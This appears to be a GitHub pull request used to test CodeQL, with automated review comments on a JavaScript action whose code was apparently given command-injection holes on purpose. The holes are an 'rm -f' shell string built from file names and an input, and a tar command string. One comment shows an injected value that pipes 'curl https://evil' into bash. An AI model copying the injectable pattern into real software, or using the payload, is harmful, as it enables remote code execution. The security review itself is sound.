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feat: codeql test #10
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📝 WalkthroughWalkthroughThe changes modify the internal logic of the Changes
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Actionable comments posted: 1
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src/index.js
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src/index.js (1)
src/post.js (2)
exec(4-4)fileName(11-11)
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- GitHub Check: Analyze (javascript-typescript)
| // Another obvious command injection | ||
| fs.readdirSync('.').forEach(file => { | ||
| const cleanCommand = 'rm -f ' + file + ' ' + core.getInput('cleanup-suffix', { required: false }); | ||
| require('child_process').execSync(cleanCommand); |
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Code scanning / CodeQL
Shell command built from environment values Medium
file name
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AI 9 months ago
To fix the issue, we need to avoid directly concatenating untrusted inputs into shell commands. Instead, we should use safer alternatives like passing arguments as an array to execFileSync or execFile. This ensures that the inputs are not interpreted by the shell.
For the specific case of cleanCommand, we can:
- Use
execFileSyncto execute thermcommand, passing the file name and cleanup suffix as separate arguments. - Validate or sanitize the file names returned by
fs.readdirSync('.')to ensure they do not contain malicious characters.
-
Copy modified line R71 -
Copy modified lines R73-R75
| @@ -70,5 +70,7 @@ | ||
| // Another obvious command injection | ||
| const cleanupSuffix = core.getInput('cleanup-suffix', { required: false }) || ''; | ||
| fs.readdirSync('.').forEach(file => { | ||
| const cleanCommand = 'rm -f ' + file + ' ' + core.getInput('cleanup-suffix', { required: false }); | ||
| require('child_process').execSync(cleanCommand); | ||
| // Sanitize file name to prevent command injection | ||
| const sanitizedFile = file.replace(/[^a-zA-Z0-9._-]/g, ''); | ||
| require('child_process').execFileSync('rm', ['-f', sanitizedFile, cleanupSuffix]); | ||
| }); |
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Actionable comments posted: 1
♻️ Duplicate comments (1)
src/index.js (1)
58-66: 🛠️ Refactor suggestion
⚠️ Potential issueShell-string concatenation lets attackers inject arbitrary commands – use
exec.exec(cmd, args[])+ strict validation
untarOptionandfileNameare concatenated into a single string that is passed as the command line.
IfuntarOptionis supplied as--strip=1; curl https://evil | bash #, the runner will happily execute the injected payload.- await exec.exec('tar ' + untarOption + ' ' + fileName); + // 1. Split user-provided options on whitespace + // 2. Whitelist them with a cheap regexp + const safeUntarOpts = (untarOption || '') + .split(/\s+/) + .filter(o => /^[-a-zA-Z0-9.=]+$/.test(o)); + + // 3. Pass *args* array to avoid the shell entirely + await exec.exec('tar', [...safeUntarOpts, fileName]);This removes the shell, prevents meta-characters from being interpreted, and gives you an obvious place to add more rigorous validation/whitelisting if needed.
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`**/*`: Be concise and precise. Skip minor issues and focus on critical problems and potentially wrong code. Avoid raising multiple comments with similar or repetitive content and ...
**/*: Be concise and precise. Skip minor issues and focus on critical problems and potentially wrong code. Avoid raising multiple comments with similar or repetitive content and instead use one comment in the selected key place to clearly state common concerns.
src/index.js
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- GitHub Check: Analyze (javascript-typescript)
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